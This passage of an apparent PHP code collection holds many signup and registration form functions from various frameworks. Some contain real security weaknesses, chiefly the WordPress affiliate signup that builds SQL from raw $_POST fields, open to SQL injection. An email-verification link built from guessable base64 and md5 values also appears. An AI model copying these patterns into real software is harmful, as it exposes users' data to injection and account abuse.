(!is_array($permissionsData)) {\n $permissionsData = [];\n }\n\n $this->vars['checkboxMode'] = $this->getControlMode() === 'checkbox';\n $this->vars['permissions'] = $this->getFilteredPermissions();\n $this->vars['baseFieldName'] = $this->getFieldName();\n $this->vars['permissionsData'] = $permissionsData;\n $this->vars['field'] = $this->formField;\n }", "function SignupAction($data, $form) {\n \n\t\t\n\t\t// Create a new object and load the form data into it\n\t\t$entry = new SearchContestEntry();\n\t\t$form->saveInto($entry);\n \n\t\t// Write it to the database.\n\t\t$entry->write();\n\t\t\n\t\tSession::set('ActionStatus', 'success'); \n\t\tSession::set('ActionMessage', 'Thanks for your entry!');\n\t\t\n\t\t//print_r($form);\n\t\tDirector::redirectBack();\n \n\t}", "function signup_custom_frm($signup_form_id=0){\n\t\t\n\t\t$signup_form_id = $this->session->userdata('signup_id');\n\t\t\n\t\tif($signup_form_id == 0){\n\t\t\t$thisMid = $this->session->userdata('member_id');\n\t\t\t$user_packages_array=$this->UserModel->get_user_packages(array('member_id'=>$thisMid,'is_deleted'=>0));\n\t\t\t$is_verified\t= ($user_packages_array[0]['package_id'] > 0 )? 1: 0; //paid user\n\t\t\t$allMyContactsID = 0 - $this->session->userdata('member_id');\n\t\t\t$this->db->query(\"INSERT INTO `red_signup_form` (`form_name`, `form_title`, `form_button_text`, `form_background_color`, `header_background_color`, `header_text_color`, `member_id`, `subscription_id`, `custom_field`, `is_email`, `field_sequence`, `is_verified`) VALUES ('Unnamed', 'Join our mailing list', 'Subscribe', '#F0F1F3', '#FFFFFF', '#454545', '$thisMid', '$allMyContactsID', '', 1, 'a:1:{s:5:\\\"email\\\";s:0:\\\"\\\";}', '$is_verified')\");\n\n\t\t\t$signup_form_id = $this->db->insert_id();\n\t\t\n\t\t\t$this->session->set_userdata('signup_id', $signup_form_id);\n\t\t}\n\t\n\t\t$this->form_validation->set_rules('from_name', 'From Name', 'max_length[100]|xss_clean');\n\t\t$this->form_validation->set_rules('from_email', 'Email', 'max_length[100]|valid_email|trim');\n\t\t$this->form_validation->set_rules('subject', 'Subject', 'max_length[100]|xss_clean');\n\t\t//$this->form_validation->set_rules('confirmation_thanks_you_message_url', 'Confirmation Thank You Url', 'xss_clean|valid_url');\n\t\t//$this->form_validation->set_rules('singup_thank_you_message_url', 'Subscription Thank You Url', 'xss_clean|valid_url');\n\n\t\tif(($this->input->post('custom_frm_action')=='submit')&&($this->form_validation->run()==true)){\n\t\t\t$signup_data['confirmation_thanks_you_message_url']=$this->input->post('confirmation_thanks_you_message_url');\n\t\t\t$signup_data['singup_thank_you_message_url']=$this->input->post('singup_thank_you_message_url');\n\t\t\t$signup_data['form_language']=$this->input->post('form_language');\n\t\t\t$signup_data['from_name']=$this->input->post('from_name');\n\t\t\t$signup_data['from_email']=$this->input->post('from_email');\n\t\t\t$signup_data['subject']=$this->input->post('subject');\n\t\t\t$signup_data['confirmation_emai_message']=$this->input->post('confirmation_emai_message');\n\t\t\t$signup_data['form_language']=$this->input->post('form_language');\n\t\t\t#To update subscription form in database\n\t\t\t$this->Signup_Model->update_signup($signup_data,array('id'=>$signup_form_id));\n\t\t\t\n\t\t\techo \"success\";\n\t\t}else{\n\t\t\techo 'error:'.validation_errors();\n\t\t}\n\t}", "function RegistrationForm() {\n\t\t$data = Session::get(\"FormInfo.Form_RegistrationForm.data\");\n\n\t\t$use_openid =\n\t\t\t($this->getForumHolder()->OpenIDAvailable() == true) &&\n\t\t\t(isset($data['IdentityURL']) && !empty($data['IdentityURL'])) ||\n\t\t\t(isset($_POST['IdentityURL']) && !empty($_POST['IdentityURL']));\n\n\t\t$fields = singleton('Member')->getForumFields($use_openid, true);\n\n\t\t// If a BackURL is provided, make it hidden so the post-registration\n\t\t// can direct to it.\n\t\tif (isset($_REQUEST['BackURL'])) $fields->push(new HiddenField('BackURL', 'BackURL', $_REQUEST['BackURL']));\n\n\t\t$validator = singleton('Member')->getForumValidator(!$use_openid);\n\t\t$form = new Form($this, 'RegistrationForm', $fields,\n\t\t\tnew FieldList(new FormAction(\"doregister\", _t('ForumMemberProfile.REGISTER','Register'))),\n\t\t\t$validator\n\t\t);\n\n\t\t// Guard against automated spam registrations by optionally adding a field\n\t\t// that is supposed to stay blank (and is hidden from most humans).\n\t\t// The label and field name are intentionally common (\"username\"),\n\t\t// as most spam bots won't resist filling it out. The actual username field\n\t\t// on the forum is called \"Nickname\".\n\t\tif(ForumHolder::$use_honeypot_on_register) {\n\t\t\t$form->Fields()->push(\n\t\t\t\tnew LiteralField(\n\t\t\t\t\t'HoneyPot',\n\t\t\t\t\t'<div style=\"position: absolute; left: -9999px;\">' .\n\t\t\t\t\t// We're super paranoid and don't mention \"ignore\" or \"blank\" in the label either\n\t\t\t\t\t'<label for=\"RegistrationForm_username\">' . _t('ForumMemberProfile.LeaveBlank', 'Don\\'t enter anything here'). '</label>' .\n\t\t\t\t\t'<input type=\"text\" name=\"username\" id=\"RegistrationForm_username\" value=\"\" />' .\n\t\t\t\t\t'</div>'\n\t\t\t\t)\n\t\t\t);\n\t\t}\n\n\t\t$member = new Member();\n\n\t\t// we should also load the data stored in the session. if failed\n\t\tif(is_array($data)) {\n\t\t\t$form->loadDataFrom($data);\n\t\t}\n\n\t\t// Optional spam protection\n\t\t$form->enableSpamProtection();\n\n\t\treturn $form;\n\t}", "function initForm(&$conf) {\n\t\t$this->pi_setPiVarDefaults();\n\t\t$this->pi_loadLL();\n\n\t\t// Create shortcuts to these arrays\n\t\t$this->conf = &$conf;\n\t\t$this->data = &$this->cObj->data;\n\n\t\t$row = $GLOBALS['TYPO3_DB']->exec_SELECTgetSingleRow( 'uid', 'pages', \"module='newsletter'\" );\n\t\t$this->newsletterPID = is_array($row) ? current($row) : 0;\n\t\t$this->newsletterRegEnabled = $this->newsletterPID && $this->data['tx_gokontakt_newsletterUsergroup'];\n\n\t\t$this->submitted = (int) $this->piVars['submitted'];\n\t\tif ( !$this->submitted ) { // first call\n\t\t\t// reset session\n\t\t\t$GLOBALS[\"TSFE\"]->fe_user->setKey(\"ses\", $this->extKey, NULL);\n\t\t\t$GLOBALS[\"TSFE\"]->fe_user->setKey(\"ses\", $this->extKey . \"_successfully_submitted\", 0);\n\t\t}\n\n\t\tif ( $this->piVars['uid'] == $this->data['uid'] ) { // if this form has been submitted\n\t\t\t$this->mergePiVarsWidthSession();\n\t\t} else { // if a different form has been submitted\n\t\t\t$this->piVars = array();\n\t\t}\n\t}", "public function signupFormAction()\r\n {\r\n $view = new ViewModel();\r\n\r\n $view->form = new SignupForm();\r\n\r\n if ($_SERVER['REQUEST_METHOD'] == 'POST') {\r\n\r\n $data = $this->params()->fromPost();\r\n\r\n $view->form->setData($data);\r\n\r\n if ($view->form->isValid()) {\r\n\r\n $validatedData = $view->form->getData();\r\n\r\n $exists = $this->userManager->checkUserExists($validatedData['email']);\r\n\r\n if (!$exists) {\r\n $user = $this->userManager->addUser($validatedData);\r\n\r\n if ($user) {\r\n $this->flashMessenger()->addMessage('Successfull registration. You can now log in.');\r\n return $this->redirect()->toRoute('loginForm');\r\n }\r\n\r\n }\r\n\r\n $view->userExists = true;\r\n\r\n }\r\n\r\n }\r\n\r\n return $view;\r\n }", "public function register(){\n\t\t// if the incoming request is of type $_POST[], process it.\n\t\t// else load the form\n\t\tif ($_SERVER['REQUEST_METHOD'] == 'POST'){ // if POST request, run the validation proccess.\n\t\t\tif (isset($_POST['user_name']))\n\t\t\t\t$user_name = trim($_POST['user_name']);\n\t\t\tif (isset($_POST['email']))\n\t\t\t\t$email = trim($_POST['email']);\n\t\t\t$data = [\n\t\t\t\t'user_name'\t\t\t=> $user_name, //store values here so the user doesnt have to retype it.\n\t\t\t\t'email'\t\t\t\t=> $email,\n\t\t\t\t'password'\t\t\t=> '',\n\t\t\t\t'confirm_password'\t=> '',\n\t\t\t\t'name_error'\t\t=> '',\n\t\t\t\t'email_error'\t\t=> '',\n\t\t\t\t'password_error'\t=> '',\n\t\t\t\t'confirm_password_error' => ''\n\t\t\t];\n\n\t\t\tif (empty($user_name)){\n\t\t\t\t$data['name_error'] = 'Choose a user name.';\n\t\t\t} else {\n\t\t\t\tswitch (1337) {\n\t\t\t\t\tcase strlen($user_name) < 4 : \n\t\t\t\t\t\t$data['name_error'] = 'User name must be 4 characters or longer.';\n\t\t\t\t\t\tbreak ;\n\t\t\t\t\tcase strlen($user_name) > 16 :\n\t\t\t\t\t\t$data['name_error'] = 'User name must be 15 characters or shorter.';\n\t\t\t\t\t\tbreak ;\n\t\t\t\t\tcase !preg_match('/^[A-Z]([a-z0-9])*([_-]){0,1}([a-z0-9])+$/', $user_name) :\n\t\t\t\t\t\t$data['name_error'] = 'User name must start with capital letter and contain characters from A-Z a-z, 0-9, one hyphen at max.';\n\t\t\t\t\t\tbreak ;\n\t\t\t\t\tcase $this->userModel->userNameExists($user_name) :\n\t\t\t\t\t\t$data['name_error'] = 'User name is taken';\n\t\t\t\t\t\tbreak ;\n\t\t\t\t\tdefault :\n\t\t\t\t\t\t$data['user_name'] = $user_name;\n\t\t\t\t\t\t$data['name_error'] = '';\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (empty($email)){\n\t\t\t\t$data['email_error'] = 'Please provide your email address.';\n\t\t\t} else {\n\t\t\t\tswitch (1337) {\n\t\t\t\t\tcase !filter_var($email, FILTER_VALIDATE_EMAIL) :\n\t\t\t\t\t\t$data['email_error'] = 'Please provide a valid email address.';\n\t\t\t\t\t\tbreak ;\n\t\t\t\t\tcase $email !== filter_var($email, FILTER_SANITIZE_EMAIL) :\n\t\t\t\t\t\t$data['email_error'] = 'Please provide a valid email address!';\n\t\t\t\t\t\tbreak ;\n\t\t\t\t\tcase $this->userModel->emailExists($email) :\n\t\t\t\t\t\t$data['email_error'] = 'Email already exists.';\n\t\t\t\t\t\tbreak ;\n\t\t\t\t\tdefault :\n\t\t\t\t\t\t$data['email'] = $email;\n\t\t\t\t\t\t$data['email_error'] = '';\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (empty($_POST['password'])){\n\t\t\t\t$data['password_error'] = 'Password can\\'t be empty';\n\t\t\t} else {\n\t\t\t\tswitch (1337) {\n\t\t\t\t\tcase strlen($_POST['password']) > 25 :\n\t\t\t\t\t\t$data['password_error'] = 'Your password should be 25 characters or shorter';\n\t\t\t\t\t\tbreak ;\n\t\t\t\t\tcase strlen($_POST['password']) < 5 :\n\t\t\t\t\t\t$data['password_error'] = 'Your password should be 5 characters or longer';\n\t\t\t\t\t\tbreak ;\n\t\t\t\t\tcase !preg_match('/^(?=.*\\d)(?=.*[A-Za-z])[A-Za-z\\d]{5,25}$/', $_POST['password']) :\n\t\t\t\t\t\t$data['password_error'] = 'Your password should contain and at least 1 digit and 1 character';\t\n\t\t\t\t\t\tbreak ;\n\t\t\t\t\tdefault :\n\t\t\t\t\t\t$data['password'] = $_POST['password'];\n\t\t\t\t\t\t$data['password_error'] = '';\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (empty($_POST['confirm_password'])){\n\t\t\t\t$data['confirm_password_error'] = 'Please confirm your password.';\n\t\t\t} else {\n\t\t\t\tswitch (1337) {\n\t\t\t\t\tcase $_POST['confirm_password'] !== $data['password'] :\n\t\t\t\t\t\t$data['confirm_password_error'] = 'Password does not match.';\n\t\t\t\t\t\tbreak ;\n\t\t\t\t\tdefault :\n\t\t\t\t\t\t$data['confirm_password'] = $_POST['confirm_password'];\n\t\t\t\t\t\t$data['confirm_password_error'] = '';\n\t\t\t\t}\n\t\t\t}\n\t\t\t// registration data is good. send query to model. else reload register page with appropriate errors.\n\t\t\tif (empty($data['name_error']) && empty($data['email_error'])\n\t\t\t\t&& empty($data['password_error']) && empty($data['confirm_password_error'])){\n\t\t\t\t$data['password'] = password_hash($_POST['password'], PASSWORD_DEFAULT);\n\t\t\t\tif ($this->userModel->registerUser($data)){\n\t\t\t\t\t$link = '<a target=\"_blank\" href=\"' . URLROOT . '/users/login?xjk=' . base64_url_encode($this->userModel->getUserId($data['user_name'])) . '&hr=' . md5($data['user_name']) .'\">Click here</a>';\n\t\t\t\t\tmail($data['email'], 'Verify email', 'Hello ' . $data['user_name'] . PHP_EOL . 'Please verify your email by visiting the following link :' . PHP_EOL . $link);\n\t\t\t\t\t$this->view('users/login', $data); // redirect through url to login page\n\t\t\t\t} else {\n\t\t\t\t\t$data['name_error'] = 'Something went wrong!!!';\n\t\t\t\t\t$this->view('users/register', $data); // data is valid but something went wrong in model\n\t\t\t\t}\n\t\t\t} else\n\t\t\t\t$this->view('users/register', $data); // data is not valid\n\n\t\t} else {\n\t\t\t$data = [\n\t\t\t\t'user_name'\t\t\t=> '', // not POST request => load register page with empty data\n\t\t\t\t'email'\t\t\t\t=> '',\n\t\t\t\t'password'\t\t\t=> '',\n\t\t\t\t'confirm_password'\t=> '',\n\t\t\t\t'name_error'\t\t=> '',\n\t\t\t\t'email_error'\t\t=> '',\n\t\t\t\t'password_error'\t=> '',\n\t\t\t\t'confirm_password_error' => ''\n\t\t\t];\n\t\t\t$this->view('users/register', $data);\n\t\t}\n\t}", "function wp_aff_view2_signup_form_processing_code() {\n unset($_SESSION['wp_aff_signup_success_msg']);\n if (isset($_POST['wpAffDoRegister'])) {\n global $wpdb;\n $wp_aff_platform_config = WP_Affiliate_Platform_Config::getInstance();\n $affiliates_table_name = WP_AFF_AFFILIATES_TBL_NAME;\n\n //Sanitize the POST data\n $post_data = $_POST;\n $_POST = array_map('strip_tags', $post_data); //$_POST = filter_var_array($_POST, FILTER_SANITIZE_STRING);\n\n $login_url = wp_aff_view_get_url_with_separator(\"login\");\n if (get_option('wp_aff_use_recaptcha')) {\n //Recaptcha was shown to the user to lets check the response\n include_once(WP_AFF_PLATFORM_PATH . 'lib/recaptchalib.php');\n $secret = get_option('wp_aff_captcha_private_key'); //Secret\n\n $reCaptcha = new WPAP_ReCaptcha($secret);\n $resp = $reCaptcha->verifyResponse($_SERVER[\"REMOTE_ADDR\"], $_REQUEST[\"g-recaptcha-response\"]);\n if ($resp != null && $resp->success) {\n //Valid reCAPTCHA response. Go ahead with the registration\n } else {\n //Invalid response. Stop going forward. Set the error msg so the form shows it to the user.\n $recaptcha_error = AFF_IMAGE_VERIFICATION_FAILED;\n $_GET['aff_signup_error_msg'] = AFF_IMAGE_VERIFICATION_FAILED;\n return;\n }\n }\n\n //=================\n include_once(ABSPATH . WPINC . '/class-phpass.php');\n $wp_hasher = new PasswordHash(8, TRUE);\n $password = $wp_hasher->HashPassword($_POST['wp_aff_pwd']);\n\n $user_ip = wp_aff_get_user_ip();\n $host = $_SERVER['HTTP_HOST'];\n $host_upper = strtoupper($host);\n $path = rtrim(dirname($_SERVER['PHP_SELF']), '/\\\\');\n $activ_code = rand(1000, 9999);\n $aemail = esc_sql($_POST['aemail']);\n $user_name = esc_sql($_POST['user_name']);\n //============\n\n $userid = esc_sql($_POST['user_name']);\n\n $result = $wpdb->get_results(\"SELECT refid FROM $affiliates_table_name where refid='$userid'\", OBJECT);\n if ($result) {\n $_GET['aff_signup_error_msg'] = AFF_SI_USEREXISTS;\n return;\n }\n // check if referred by another affiliate\n $referrer = \"\";\n if (!empty($_SESSION['ap_id'])) {\n $referrer = $_SESSION['ap_id'];\n } else if (isset($_COOKIE['ap_id'])) {\n $referrer = $_COOKIE['ap_id'];\n }\n\n $commission_level = get_option('wp_aff_commission_level');\n $date = (date(\"Y-m-d\"));\n $account_details = \"\";\n $sec_tier_commissionlevel = \"\";\n if (!isset($_POST['apayable']))\n $_POST['apayable'] = \"\";\n\n $account_status = 'approved';\n if ($wp_aff_platform_config->getValue('wp_aff_enable_manual_signup_approval') == '1') {\n wp_affiliate_log_debug(\"Manual affiliate registration option is enabled. So the account status will be set to pending.\", true);\n $account_status = 'pending';\n }\n\n $updatedb = \"INSERT INTO $affiliates_table_name (refid,pass,company,firstname,lastname,website,email,payableto,street,town,state,postcode,country,phone,date,paypalemail,commissionlevel,referrer,tax_id,account_details,sec_tier_commissionlevel,account_status) VALUES ('\" . $_POST['user_name'] . \"', '\" . $password . \"', '\" . $_POST['acompany'] . \"', '\" . $_POST['afirstname'] . \"', '\" . $_POST['alastname'] . \"', '\" . $_POST['awebsite'] . \"', '\" . $_POST['aemail'] . \"', '\" . $_POST['apayable'] . \"', '\" . $_POST['astreet'] . \"', '\" . $_POST['atown'] . \"', '\" . $_POST['astate'] . \"', '\" . $_POST['apostcode'] . \"', '\" . $_POST['acountry'] . \"', '\" . $_POST['aphone'] . \"', '$date','\" . $_POST['paypal_email'] . \"','\" . $commission_level . \"','\" . $referrer . \"', '\" . $_POST['tax_id'] . \"','$account_details','$sec_tier_commissionlevel','$account_status')\";\n $results = $wpdb->query($updatedb);\n\n $affiliate_login_url = get_option('wp_aff_login_url');\n\n $email_subj = get_option('wp_aff_signup_email_subject');\n $body_sign_up = get_option('wp_aff_signup_email_body');\n $from_email_address = get_option('wp_aff_senders_email_address');\n $headers = 'From: ' . $from_email_address . \"\\r\\n\";\n\n $additional_params = array();\n $additional_params['password'] = $_POST['wp_aff_pwd'];\n $aemailbody = wp_aff_dynamically_replace_affiliate_details_in_message($user_name, $body_sign_up, $additional_params);\n $additional_params['password'] = \"********\";\n $admin_email_body = wp_aff_dynamically_replace_affiliate_details_in_message($user_name, $body_sign_up, $additional_params);\n $admin_email_body = \"The following email was sent to the affiliate: \\n\" .\n \"-----------------------------------------\\n\" . $admin_email_body;\n\n if (get_option('wp_aff_admin_notification')) {\n $admin_email_subj = \"New affiliate sign up notification\";\n $admin_contact_email = get_option('wp_aff_contact_email');\n if (empty($admin_contact_email)) {\n $admin_contact_email = $from_email_address;\n }\n wp_mail($admin_contact_email, $admin_email_subj, $admin_email_body, $headers);\n wp_affiliate_log_debug(\"Affiliate signup notification email successfully sent to the admin: \" . $admin_contact_email, true);\n }\n wp_mail($_POST['aemail'], $email_subj, $aemailbody, $headers);\n wp_affiliate_log_debug(\"Welcome email successfully sent to the affiliate: \" . $_POST['aemail'], true);\n\n //Check and give registration bonus\n wp_aff_check_and_give_registration_bonus($userid);\n\n //Check and do autoresponder signup\n include_once('wp_aff_auto_responder_handler.php');\n wp_aff_global_autoresponder_signup($_POST['afirstname'], $_POST['alastname'], $_POST['aemail']);\n\n //$redirect_page = wp_aff_view_get_url_with_separator(\"thankyou\");\n //echo '<meta http-equiv=\"refresh\" content=\"0;url='.$redirect_page.'\" />';\n //exit();\n $_SESSION['wp_aff_signup_success_msg'] = \"\";\n $_SESSION['wp_aff_signup_success_msg'] .= \"<h2 class='wp_aff_title'>\" . AFF_THANK_YOU . \"</h2><p class='message'>\" . AFF_REGO_COMPLETE . \"</p>\";\n $_SESSION['wp_aff_signup_success_msg'] .= '<a href=\"' . $login_url . '\">' . AFF_LOGIN_HERE . '</a>';\n $additional_success_msg = apply_filters('wpap_below_registration_success_message', '');\n if (!empty($additional_success_msg)) {\n $_SESSION['wp_aff_signup_success_msg'] .= $additional_success_msg;\n }\n \n do_action('wp_aff_registration_complete');//registration complete hook\n }\n}", "public function registrationForm() {\n\n }", "function _prepareForm() {\n\t\t\t$this->getFieldset( );\n\t\t\t$fieldset = parent::_prepareForm( );\n\n\t\t\tif ($fieldset) {\n\t\t\t\t$this->getTextHelper( );\n\t\t\t\t$model = $helper = $this->getModel( );\n\t\t\t\t$isElementDisabled = !$this->isSaveAllowed( );\n\t\t\t\t$fieldset->addField( 'country_id', 'select', array( 'name' => 'country_id', 'label' => $helper->__( 'Country' ), 'title' => $helper->__( 'Country' ), 'required' => false, 'value' => $model->getCountryId( ), 'default' => '0', 'values' => $this->getCountryValues( ), 'disabled' => $isElementDisabled ) );\n\t\t\t\t$fieldset->addField( 'region_id', 'select', array( 'name' => 'region_id', 'label' => $helper->__( 'Region/State' ), 'title' => $helper->__( 'Region/State' ), 'required' => false, 'value' => $model->getRegionId( ), 'default' => '0', 'values' => $this->getRegionValues( ), 'disabled' => $isElementDisabled ) );\n\t\t\t\t$fieldset->addField( 'zip', 'text', array( 'name' => 'zip', 'label' => $helper->__( 'Zip/Postal Code' ), 'title' => $helper->__( 'Zip/Postal Code' ), 'note' => $helper->__( '* or blank - matches any' ), 'required' => false, 'value' => $this->getZipValue( ), 'default' => '', 'disabled' => $isElementDisabled ) );\n\t\t\t}\n\n\t\t\treturn $this;\n\t\t}", "function viewSignUpForm() {\n\t$view = new viewModel();\n\t$view->showSignUpForm();\t\n}", "public function createForm();", "public function createForm();", "protected function prepareForm(array &$form) {\n if (empty($form['address']['widget'][0]['address']['#required'])) {\n // The address field is missing, optional, or using a non-standard widget.\n return $form;\n }\n\n $wrapper_id = Html::getUniqueId(implode('-', $form['#parents']) . '-ajax-form');\n $form += [\n '#wrapper_id' => $wrapper_id,\n '#prefix' => '<div id=\"' . $wrapper_id . '\">',\n '#suffix' => '</div>',\n ];\n $form['address']['widget'][0]['address']['#form_wrapper'] = $form['#wrapper_id'];\n $form['address']['widget'][0]['address']['#process'] = [\n // Keep the default #process functions defined in Address::getInfo().\n [Address::class, 'processAddress'],\n [Address::class, 'processGroup'],\n // Add our own #process.\n [get_class($this), 'replaceAjaxCallback'],\n ];\n\n return $form;\n }", "function htheme_signup_shortcode( $atts ) {\r\n\r\n\t\t#SETUP CONTENT CLASS\r\n\t\t$htheme_data = $this->htheme_content->htheme_get_signup_form($atts);\r\n\r\n\t\t#RETURN DATA/HTML\r\n\t\treturn $htheme_data;\r\n\r\n\t}", "public function signup(/* $acct_type = 'standard' */)\n {\n // They can't be logged in!\n\t\tif ( Auth::logged_in() )\n {\n set_error('You can\\'t be logged in!');\n redirect(site_url());\n return;\n }\n \n if (isset($_POST['first-name'])) :\n \n $this->form_validation->set_rules('first-name', 'First Name', 'required|alpha');\n $this->form_validation->set_rules('last-name', 'Last Name', 'required|alpha');\n $this->form_validation->set_rules('your-email', 'Email', 'required|valid_email');\n \n // Login Details\n $this->form_validation->set_rules('login-name', 'Login Name', 'required');\n $this->form_validation->set_rules('your-password', 'Password', 'required');\n \n // About School\n $this->form_validation->set_rules('district-name', 'District Name', 'required');\n $this->form_validation->set_rules('school-name', 'School Name', 'required');\n $this->form_validation->set_rules('daily_student_funding', 'Daily Student Funding', 'required');\n $this->form_validation->set_rules('initial_truancy_rate', 'Initial Truancy Rate', 'required|numeric');\n $this->form_validation->set_rules('timezones', 'Timezone', 'required');\n \n // Do the Validating\n if ($this->form_validation->run() == FALSE)\n {\n set_error(validation_errors());\n }\n else\n {\n // Register the user\n $user_id = Auth::create_user_automagically(array(\n 'user_slug' =>\tstrtolower($_POST['login-name']),\n 'user_email' =>\tstrtolower($_POST['your-email']),\n 'user_pass' =>\t$_POST['your-password'],\n 'user_first_name' =>\t$_POST['first-name'],\n 'user_last_name' =>\t$_POST['last-name'],\n 'role' => 'district_admin',\n 'create_time' =>\tcurrent_datetime(),\n 'update_user' => 0,\n 'district_id' => 2, // This is the internal demo district\n 'isDeleted' => 0,\n 'school_id' => 1, // This is an internal demo school\n 'student_id' => 0,\n ));\n \n // In error?\n if (is_simple_error($user_id)) :\n set_error($user_id);\n redirect('signup');\n return;\n endif;\n \n // Create the District\n $this->db->set('district_name', $_POST['district-name']);\n $this->db->set('timezone', $_POST['timezones']);\n $this->db->set('create_time', current_datetime());\n $this->db->set('isDeleted', 0);\n $this->db->set('status', 'pending');\n $this->db->insert('district');\n \n $district_id = $this->db->insert_id();\n \n // Create the school\n $this->db->set('district_id', $district_id);\n $this->db->set('school_name', $_POST['school-name']);\n $this->db->set('daily_student_funding', $_POST['daily_student_funding']);\n $this->db->set('initial_truancy_rate', $_POST['initial_truancy_rate']);\n $this->db->set('current_truancy_rate', 0);\n $this->db->set('create_time', current_datetime());\n $this->db->set('isDeleted', 0);\n $this->db->insert('school');\n \n $school_id = $this->db->insert_id();\n \n // Update the user\n Auth::update('district_id', $district_id, $user_id);\n Auth::update('school_id', $school_id, $user_id);\n \n // Log them in\n Auth::do_auth($user_id);\n \n set_good('Your account has been created.');\n \n redirect(site_url());\n return;\n\t\t}\n \n endif; // On Post\n $this->Core->set_title('Register!');\n \n $this->load->view('shared/header');\n\t\t$this->load->view('signup/register');\n\t\t$this->load->view('shared/footer');\n\n }", "protected function renderSignUp(){\n return '<form class=\"forms\" action=\"'.Router::urlFor('check_signup').'\" method=\"post\">\n <input class=\"forms-text\" type=\"text\" name=\"fullname\" placeholder=\"Nom complet\">\n <input class=\"forms-text\" type=\"text\" name=\"username\" placeholder=\"Pseudo\">\n <input class=\"forms-text\" type=\"password\" name=\"password\" placeholder=\"Mot de passe\">\n <input class=\"forms-text\" type=\"password\" name=\"password_verify\" placeholder=\"Retape mot de passe\">\n <button class=\"forms-button\" name=\"login_button\" type=\"submit\">Créer son compte</button>\n </form>';\n }", "public function getForm($data, $protection=0){\n\n $elementDecorators = array(\n array('Label'),\n array('ViewHelper'),\n array('Errors'),\n );\n \n $form = new Zend_Form();\n $form->setAction('/user/registration/first-form/')\n ->setMethod('post');\n\n //firstname field\n $firstName = new Zend_Form_Element_Text('firstname', array(\n 'maxLength' => '30',\n 'id' => 'name',\n 'validators' => array(\n array('stringLength', false, array(3,100)),\n array('Alpha'),\n ),\n ));\n if (isset ($data['u_name'])) $firstName->setValue($data['u_name']);\n if ($protection) $firstName->setAttrib('readonly', 'true');\n $firstName->setDecorators($elementDecorators);\n\n //lastname field\n $lastName = new Zend_Form_Element_Text('lastname', array(\n 'maxLength' => '30',\n 'id' => 'lname',\n 'validators' => array(\n array('stringLength', false, array(3,100)),\n array('Alpha'),\n ),\n ));\n $lastName->setDecorators($elementDecorators);\n if (isset ($data['u_family_name'])) $lastName->setValue($data['u_family_name']);\n if ($protection) $lastName->setAttrib ('readonly', 'true');\n\n //selecting gender: Male (1) or Female (0)\n $gender = new Zend_Form_Element_Radio('sex', array(\n 'separator' =>'',\n 'multiOptions' => array('1'=>'זכר ','0'=>'נקבה'),\n ));\n $gender->setDecorators($elementDecorators);\n $gender->setValue($data['u_sex_id']);\n if (isset ($data['u_sex_id'])) $gender->setValue($data['u_sex_id']);\n if ($protection) $gender->setAttrib ('readonly', 'true');\n //birthday field: validation for yyyy-mm-dd input\n $birthday = new Zend_Form_Element_Text('datepicker', array(\n 'size' => 10,\n ));\n $birthday->setDecorators($elementDecorators);\n if (isset ($data['u_date_of_birth'])) $birthday->setValue(date(\"d/m/Y\",strtotime($data['u_date_of_birth'])));\n if ($protection) $birthday->setAttrib ('readonly', 'true');\n\n //heigth\n $heigth = new Zend_Form_Element_Select('heigth', array());\n for ($i=120;$i<=300;$i++) $heigth->addMultiOption($i,$i);\n $heigth->setDecorators($elementDecorators);\n if (isset ($data['uht_height'])) $heigth->setValue($data['uht_height']);\n if ($protection) $heigth->setAttrib ('disabled', 'true');\n\n\n //weight\n $weight = new Zend_Form_Element_Select('weight', array(\n 'label' =>'',\n ));\n for ($i=20;$i<=300;$i++) $weight->addMultiOption($i,$i);\n $weight->setDecorators($elementDecorators);\n if (isset ($data['uht_weight'])) $weight->setValue($data['uht_weight']);\n \n //email field with validation\n $email = new Zend_Form_Element_Text('email',array(\n ));\n $email->addValidator(new Zend_Validate_EmailAddress());\n $email->setDecorators($elementDecorators);\n if (isset ($data['u_email'])) $email->setValue($data['u_email']);\n if ($protection) {\n $email->setAttrib ('readonly', 'true');\n }\n\n // password field\n $password1 = new Zend_Form_Element_Password('password1', array(\n 'id' => 'pass',\n ));\n $password1->setDecorators($elementDecorators);\n\n // password confirmation field\n $password2 = new Zend_Form_Element_Password('password2', array(\n 'id' => 'c_pass',\n ));\n $password2->addValidator(new User_Form_UserFirstFormPasswordValidator('password1'));\n $password2->setDecorators($elementDecorators);\n\n $state = new Zend_Form_Element_Select('state', array(\n 'requred' => true,\n ));\n $state->setMultiOptions(array(\n '1' => 'מדינה:',\n ));\n $state->setDecorators($elementDecorators);\n if (isset ($data['u_state'])) $state->setValue($data['u_state']);\n\n $address = new Zend_Form_Element_Text('address', array(\n 'required' => false,\n 'id' => 'full_adr',\n ));\n $address->setDecorators($elementDecorators);\n if (isset ($data['u_address'])) $address->setValue($data['u_address']);\n\n $pregnant = new Zend_Form_Element_Radio('pregnant', array(\n 'separator' =>'',\n 'multioptions' => array('Yes'=>'לא','No'=>'כן'),\n ));\n $pregnant->setDecorators($elementDecorators);\n if (($data['uht_pregnant'])) $pregnant->setValue($data['uht_pregnant']);\n \n \n $pregnantSince = new Zend_Form_Element_Select('pregnantsince', array(\n 'id' => 'hz1',\n ));\n $pregnantSince->setMultiOptions(array(\n '1' => '1',\n '2' => '2',\n '3' => '3',\n '4' => '4',\n '5' => '5',\n '6' => '6',\n '7' => '7',\n '8' => '8',\n '9' => '9',\n ));\n $pregnantSince->setDecorators($elementDecorators);\n if (($data['uht_pregnant'])) $pregnant->setValue($data['uht_pregnant']);\n if (($data['uht_pregnant_since'])) $pregnantSince->setValue($data['uht_pregnant_since']);\n\n $objectives = new Zend_Form_Element_Textarea('objectives', array(\n 'id' => 'obj',\n 'rows' => '20',\n 'cols' => '20',\n ));\n if (($data['u_objectives'])) $objectives->setValue($data['u_objectives']);\n \n $terms = new Zend_Form_Element_Checkbox('terms', array(\n 'required' => 'true,'\n ));\n\n $heartPressure = new Zend_Form_Element_Checkbox('heartpressure', array());\n $heartPressure->setDecorators($elementDecorators);\n if ($data['uht_heart_or_pb']) $heartPressure->setChecked(true);\n\n $diabetes = new Zend_Form_Element_Checkbox('diabetes', array());\n $diabetes->setDecorators($elementDecorators);\n if ($data['uht_diabetes']) $diabetes->setChecked(true);\n\n $migrene = new Zend_Form_Element_Checkbox('migrene', array());\n $migrene->setDecorators($elementDecorators);\n if ($data['uht_migrene']) $migrene->setChecked(true);\n\n $babies = new Zend_Form_Element_Checkbox('babies', array());\n 